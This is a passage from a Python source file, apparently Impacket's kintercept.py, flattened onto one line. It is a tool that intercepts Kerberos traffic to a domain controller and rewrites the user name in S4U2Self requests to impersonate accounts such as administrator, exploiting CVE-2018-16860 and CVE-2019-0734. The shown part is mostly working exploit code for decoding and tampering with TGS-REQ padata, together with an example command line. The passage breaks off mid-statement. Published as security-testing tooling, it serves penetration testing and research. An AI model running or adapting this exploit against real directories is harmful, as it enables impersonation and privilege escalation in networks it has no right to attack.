#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. # Copyright (c) 2017 @MrAnde7son # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Copyright and licensing note from kintercept.py: # # MIT Licensed # Copyright (c) 2019 Isaac Boukris # # A tool for intercepting TCP streams and for testing KDC handling # of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self # protocol extention (CVE-2018-16860 and CVE-2019-0734). # # The tool listens on a local port (default 88), to which the hijacked # connections should be redirected (via port forwarding, etc), and sends # all the packets to the upstream DC server. # If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied # packet will be changed to the name specified in the handler's argument. # # Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr # import struct, socket, argparse, asyncore from binascii import crc32 from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import version from impacket.krb5 import constants from impacket.krb5.crypto import Cksumtype from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC from impacket.krb5.types import Principal MAX_READ_SIZE = 16000 MAX_BUFF_SIZE = 32000 LISTEN_QUEUE = 10 TYPE = 10 def process_s4u2else_req(data, impostor): try: tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0] except: print ('Record is not a TGS-REQ') return '' pa_tgs_req = pa_for_user = None for pa in tgs['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: pa_tgs_req = pa elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: pa_for_user = pa if not pa_tgs_req or not pa_for_user: print ('TGS request is not S4U') return '' tgs['padata'] = noValue tgs['padata'][0] = pa_tgs_req try: for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0] except: print ('Failed to decode PA_FOR_USER!') return '' S4UByteArray = struct.pack('